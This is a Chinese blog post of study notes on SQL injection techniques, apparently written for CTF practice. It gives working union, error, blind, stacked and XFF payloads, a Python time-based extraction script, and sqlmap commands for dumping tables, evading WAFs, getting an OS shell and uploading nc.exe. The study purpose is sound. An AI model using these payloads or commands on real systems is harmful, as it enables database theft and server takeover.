由于我的博客是学到渗透的时候才做的,没有关于WEB漏洞的笔记,现在发现WEB层面的漏洞有些不太熟悉了,边写一下笔记边复习一下,就从sql注入开始吧

话不多说先上大佬写的表[ctfhub]SQL注入 - h3zh1 - 博客园 (cnblogs.com),基本常用的手工注入命令都在这

union select 联合查询,联合注入常用
database() 回显当前连接的数据库
version() 查看当前sql的版本如:mysql 1.2.3, mariadb-4.5.6
group_concat() 把产生的同一分组中的值用,连接,形成一个字符串
information_schema 存了很多mysql信息的数据库
information_schema.schemata information_schema库的一个表,名为schemata
schema_name schemata表中存储mysql所有数据库名字的字段
information_schema.tables 存了mysql所有的表
table_schema tables表中存每个表对应的数据库名的字段
table_name 表的名字和table_schema一一对应
information_schema.columns columns表存了所有的列的信息4
column_name 当你知道一个表的名字时,可通过次字段获得表中的所有字段名(列名)
table_name 表的名字和column_name一一对应
select updatexml(1,concat(0x7e,database(),0x7e),1); 这里注意,只在databse()处改你想要的内容即可报错回显
right(str, num) 字符串从右开始截取num个字符
left(str,num) 同理:字符串从左开始截取num个字符
substr(str,N,M) 字符串,从第N个字符开始,截取M个字符

SQL注入原理

SQL注入漏同的产生需要满足以下两个条件

  • 参数用户可控:前端传给后端的参数内容是用户可以控制的。
  • 参数带入数据车查询:传入的参数拼接到SQL语句,且带入数据车查询

当传入的D参数为and1=1时,执行的SQL语句。(#号表示注释符)

select from users where id=1 and 1=1#

因为1=1为真,且 wherei语句中id=1也为真,所以页面会返回与id=1相同的结果。当传入的ID参数为and1=2时,由于1=2不成立,所以返回假,页面就会返回与id=1不同的结果

通过这个简短的语句可以初步判断参数是否存在SQL注入漏洞,如果验证有攻击者可以进一步拼接SQL语句进行攻击,致使数据库泄露,甚至获取服务器权限

  

Union注入攻击

在判断了注入点之后,使用order by判断该数据表的字段数量

例如输入这个,回显的与id=1相同结果

id=1 order by 4#

但order by 5之后回显了不同的结果,则说明字段数为4

判断完字段数后使用union注入,判断回显字段的位置

使用union注入要注意参数设置成-1,否则数据库会优先查询参数值,无法判断回显位置

id=-1 union select 1,2,3,4#

接着在回显的字段上输入攻击的代码,例如2是回显字段位,输入database()就能查看数据库

id=-1 union select 1,database(),3,4#

假设得知数据库名为sqli,得知数据库库名之后,查询表名,group_concat函数把产生的同一分组中的值用,连接,形成一个字符串

id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema="sqli",3,4#

假设得知表名为flag,查询字段名

id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name="flag",3,4#

得知字段名查字段

id=-1 union select 1,group_concat(flag) from sqli.flag,3,4#

这就是基本的union注入思路,但实战情况下会有很多过滤防止攻击者获取数据库的信息  

  

报错注入攻击

报错注入可以在判断注入点之后,但是没有回显字段,只会显示错误信息的情况下使用

关键的命令是select updatexml(1,concat(0x7e,database(),0x7e),1); 在database()处修改想要攻击的语句

其中0x7e是ASCII编码,意思是~,用于区分系统报错和关键信息

接下来的思路和union注入一样,但要注意的点是需要使用right函数和left函数来查询报错回显的字段,因为通常报错回显的字段数是有限的,而需要的数据库信息比较长 

right(str, num) 字符串从右开始截取num个字符
left(str,num) 同理:字符串从左开始截取num个字符

用法示例

-1 union select updatexml(1,concat(0x7e,right(
(select(group_concat(schema_name))from information_schema.schemata)
,31 ),0x7e),1); #

  

Boolean注入攻击

当页面只显示yes或no,而不返回数据库中的任何数据,就使用Boolean注入攻击

首先使用Lenth()函数判断数据库名的长度

id=1 and lenth(database())>=1#

查询数据库名长度后,使用substr函数逐字获取数据库名,数据库库名的范围一般在a~z、0~9之内,还可能有一些特殊字符

substr(str,N,M) 字符串,从第N个字符开始,截取M个字符

id=1 and substr(database(),1,1)='a'#

但一般这种方式手工速度很慢效率很低,一般采用爆破的方式,可以使用bp进行爆破,用返回字节长度判断是否正确

爆出数据库名之后后面的方法同理

 

时间注入攻击

时间注入和Boolean注入差不多,不同之处是时间注入利用于什么都不返回,连是否正确都不返回。

时间注入利用sleep函数让MySQL执行时间变长从而判断是否注入成功

判断数据库长度语句是

id=if(length(database())>1,sleep(5),1)

意思是如果数据库名长度大于1,则暂停五秒后执行,否则直接执行

了解了时间盲注后就可以用开始的思路进行攻击

id=if(substr(database(),1,1)='a',sleep(5),1)

但是时间盲注手工注入比Boolean注入还要慢,一般用python脚本来实现爆破

贴上代码

import requests
import time headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36"
}
word1 = []
word2 = []
# url = input("url:")
# t = input("sleep:") for i in range(65, 91):
word1.append(chr(i))
for i in range(97, 123):
word1.append(chr(i))
for i in range(48, 58):
word1.append(chr(i))
word1.append('{')
word1.append('}') for i in range(97, 123):
word2.append(chr(i))
for i in range(48, 58):
word2.append(chr(i))
word2.append('{')
word2.append('}') for i in range(1, 40):
for j in word2:
url = "http://URL/?id=1 and if(substr((select flag from sqli.flag)," + str(i) + ",1)='" + str(j) + "',sleep(3),1)#"
t1 = time.time()
r = requests.get(url, headers) #发送GET请求。 返回Response对象。
t2 = time.time()
if t2 - t1 > 3:
print(j)

堆叠注入攻击

堆叠查询可以执行多条语句,每条语句用分号隔开。堆叠注入和union注入的区别就是,堆叠注入可以执行任意语句,而union注入只限于查询语句

例如可以向数据库添加或删除数据

id=1;insert into user(id,username,password)values('5','zhangsan','123456');#

  

二次注入攻击

二次注入就是攻击者将攻击代码经过注册或者其他方式储存在数据库,当数据库再次调用这个攻击代码时,才会被攻击。

例如本身数据库存在一个admin账户但是不知道其密码,当我们注册一个账户名为admin’#构造一个闭合,接着再去修改密码,原数据库的语句就为

Update user set password=’New password‘ where username=‘admin‘#’ and password=’password‘

由于admin存在#,后面的语句将无法执行,所以数据库就将admin的密码修改成我们刚刚修改的密码

  

宽字节注入攻击

宽字节注入一般适用于当闭合的时候被 ‘/’ 转义,一般情况下此处是不存在SQL注入漏洞的。但是有一个情况例外就是当数据库的编码为GBK的时候。

’/‘的编码为%5c,GBK而%df5c是繁体字連,所以可以在被转义的字符前面加上%df逃逸

XFF注入攻击

通过BurpSuite抓取数据包容,可以看到HTTP请求头中有一个头部参数X- Forwarded-for.X- Forwarded-For简称XF头,它代表客户端真实的IP,通过修改X- Forwarded-for的值可以伪造客户端IP,将X- Forwarded-for设置为127.0.0.1,然后访问URL,页面返回正常

使用Union注入方法完成注入

X-forwarded-for: 127.0.0.1' union select 1,2,3,4#

  

SQL注入绕过技术

绕过的方法太多了,每种方法的应用的场景也不同,这里不仔细讲,将常见的方法列出来

  1. 大小写绕过:常用于关键字过滤,由于mysql语句对大小写没要求,可以使用大小写进行绕过
  2. 双写绕过:常用于关键字过滤,例如and被过滤,可以写成anandd
  3. 编码绕过:常用于关键字过滤,将被过滤的关键字使用URL编码两次,因为服务器会自动解析一次
  4. 空格绕过:空格被过滤,使用/**/代替空格
  5. 内联注释绕过:常用于关键字过滤,使用/*! and*/将关键字and括起来绕过

在使用手工注入的时候可以将多种绕过方法组合在一起,成功的机率更大。

自动化工具sqlmap用法简介

sqlmap是针对于sql注入漏洞的自动化工具

sqlmap -h查看帮助

sqlmap基础

GET传参

读取当前数据库版本用户

sqlmap -u http://URL/?id=1 –current-user –current-db

检测是否存在注入点

sqlmap -u http://URL/?id=1

拿库名

sqlmap -u http://URL/?id=1 --dbs

假设拿到库名sqli,拿表名

sqlmap -u http://URL/?id=1 -D sqli --tables

假设拿到表名user,拿列名

sqlmap -u http://URL/?id=1 -D sqli -T user --columns

假设拿到列名user,password,拿字段

sqlmap -u http://URL/?id=1 -D sqli -T user -C user,password --dump

POST传参

当数据提交方式为post的时候,使用bp抓包,将文本保存下来test.txt,(test.txt如果没有放到sqlmap目录就用绝对路径)。

sqlmap -r test.txt -p id //-r参数打开文件,-p参数注入用的参数。

剩下的操作就和GET方式无异

sqlmap进阶

这里主要讲如果绕过WAF

  • --level=5:探测等级,1-5,默认为1,等级越高,payload越多,速度越慢。HTTP cookei在level为2时就会测试,HTTP User-Agent/Referer在level为3时就会测试。
  • --risk=RISK 执行测试的风险(0-3,默认为1)
  • –threads    #采用多线程(–threads 3)
  • --referer“http://www.google.com”  //模拟来源,就是从哪个网页跳转过来的。如果不懂可以谷歌referer
  • --cookie=COOKIE:设置http请求的cookie,level2时,会尝试cookie注入,eg:"PHPSESSID=aaaa"
  • --user-agent:修改http请求中的user-agent,通常修改为搜索引擎的UA头来模拟搜索引擎,防止被封ip,也可以使用--random-agent参数,随机的从user-agent.txt中获取。(level 3时会尝试对user-agent注入)

  • --proxy=PROXY:通过代理服务器来连接目标url
  • --delay=times :延时注入,秒为单位,避免引起防火墙注意

当然最简单粗暴的方法就是代理池绕过,去网上购买代理(也有免费的就是不好用),设置--porxy=代理ip,再每次请求的时候都更换一个ip,防火墙就不会检测到

sqlmap高级

  • --id-dba:当前用户是否为管理权限
  • --roles:列出数据库管理员角色,仅适用于当前数据库是Oracle的时候
  • --referer=https://www.baid.com :sqlmap可以在请求中伪造HTTP中的referer,当–level参数设定为3或者3以上的时候会尝试对referer注入
  • --sql-shell:运行自定义sql语句
  • --os-cmd,--os-shell:运行任意操作系统命令
  • --file-read "C:/example.exe":从数据库服务器中读取文件
  • sqlmap.py -u URL –file-write ”/software/nc.exe” –file-dest “C:/WINDOWS/Temp/nc.exe” 上传文件到数据库服务器中

  

  

 

 

 

  

WEB漏洞——SQL的更多相关文章

  1. 了解web漏洞-sql注入

    1:为什么要学web漏洞? 作为一个运维人员,日常工作就是保障服务器和网站的业务正常运行,平时也需要对服务器的安全工作加固,说到防护攻击问题,那么久必须去了解攻击者是怎么对服务器发动的一个流程,这样才 ...

  2. 基础Web漏洞-SQL注入入门(手工注入篇)

    一.什么是SQL注入  SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL.而SQL注入是将Web页面的原URL.表单域或数据包输入的参数,修改拼接成SQ ...

  3. 黑客攻防技术宝典Web实战篇(二)工具篇DVWA Web漏洞学习

    DVWA是一个学习Web漏洞的很好的工具. DVWA全程是Damn Vulnerable Web Application,还有一个跟它一样好的工具尽在http://www.360doc.com/con ...

  4. web漏洞总结

    目录: 1.sql注入获取数据库信息2.sql注入绕过管理后台登录3.反射型xss4.存储型xss5.csrf6.文件上传7.暴力破解8.目录遍历9.权限跨越10.文件包含11.未知漏洞 web漏洞演 ...

  5. 各种Web漏洞测试平台

    Sqli Lab​支持报错注入.二次注入.盲注.Update注入.Insert注入.Http头部注入.二次注入练习等.支持GET和POST两种方式. https://github.com/Audi-1 ...

  6. Web漏洞扫描工具(批量脱壳、反序列化、CMS)

    一.什么是Web漏洞扫描工具 即是指“扫描Web应用以查找安全漏洞(如跨站脚本,SQL注入,命令执行,目录遍历和不安全服务器配置)的自动化工具”,其中许多可能是由不安全或不正确的编码和设计.另一方面, ...

  7. 【web渗透技术】渗透攻防Web篇-SQL注入攻击初级

    [web渗透技术]渗透攻防Web篇-SQL注入攻击初级 前言不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动.在网络中,数据库驱动的Web应用随处可见,由此而存在的S ...

  8. WEB漏洞 XSS(一)

    1.xss的形成原理 xss 中文名是“跨站脚本攻击”,英文名“Cross Site Scripting”.xss也是一种注入攻击,当web应用对用户输入过滤不严格,攻击者写入恶意的脚本代码(HTML ...

  9. web漏洞扫描工具集合

    最好用的开源Web漏洞扫描工具梳理 链接:www.freebuf.com/articles/web/155209.html 赛门铁克2017年互联网安全威胁报告中提出在他们今年扫描的网站中,有76%都 ...

随机推荐

  1. APICloud的真机wifi连接问题

    APICloud的真机wifi连接问题 在APICloud的真机wifi连接时需要注意事项与解决问题. 1.首先将项目拉取到本地,用APICloud Studio 2打开(也可以用webStorm配置 ...

  2. MySQL中特别实用的几种SQL语句【转】

    一.插入或替换 如果我们想插入一条新记录(INSERT),但如果记录已经存在,就先删除原记录,再插入新记录. 情景示例:这张表存的每个客户最近一次交易订单信息,要求保证单个用户数据不重复录入,且执行效 ...

  3. Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)

    Apache Tomcat 7.0.0~7.0.79 直接发送以下数据包即可在Web根目录写入shell: PUT /1.jsp/ HTTP/1.1 Host: 192.168.49.2:8080 A ...

  4. Hadoop 3.1.1 - 概述 - 集群安装

    Hadoop 集群安装 目标 本文描述了如何从少数节点到包含上千节点的大规模集群上安装和配置 Hadoop 集群.如果只是为了尝试,你可以先从单台机器上安装开始(参阅单节点安装). 本文并不包含诸如安 ...

  5. SprintBoot简单入门

    1.什么是SpringBoot SpringBoot是基于Spring的基础上提供了一套全新的框架,其目的是为了在开发时简化Spring的相关配置及开发过程.在SpringBoot未出来之前,准备搭建 ...

  6. WinForm设置任务栏托盘程序

    程序设计界面如下图所示: 1.在程序初始化加载的时候设置程序图标,具体code如下: private void Form1_Load(object sender, EventArgs e) { //t ...

  7. 优秀Android开发简历都是这么写,你学会也可以进大厂

    最近收了很多程序员的简历,工作经验从1年到十几年不等.发现一个问题,工作经验范围差不多的程序员,简历看起来也差不多... 为啥程序员的简历如此统一?正好最近看到一个分享也分析了这个问题,结合我个人的一 ...

  8. [C++]-vector 向量

    什么是向量容器 向量容器是一种支持高效的随机访问和高效的尾部插入新元素的容器. 向量容器一般实现为一个动态分配的数组,向量中的元素连续的存放在这个数组中,因此对向量容器进行随机访问具有和动态访问动态数 ...

  9. Cookie和Session得使用理解

    Cookie 饼干 什么是Cokkie? 1.Cookie 翻译过来是饼干的意思. 2.Cookie 是服务器通知客户端保存键值对的一种技术. 3.客户端有了 Cookie 后,每次请求都发送给服务器 ...

  10. Lingoes安装词典和语音库

    安装词典: 选项->词典,出现"词典管理"窗体,点"安装",从磁盘上选择要安装的词典文件(扩展名为ld2的文件),勾选"添加到索引组" ...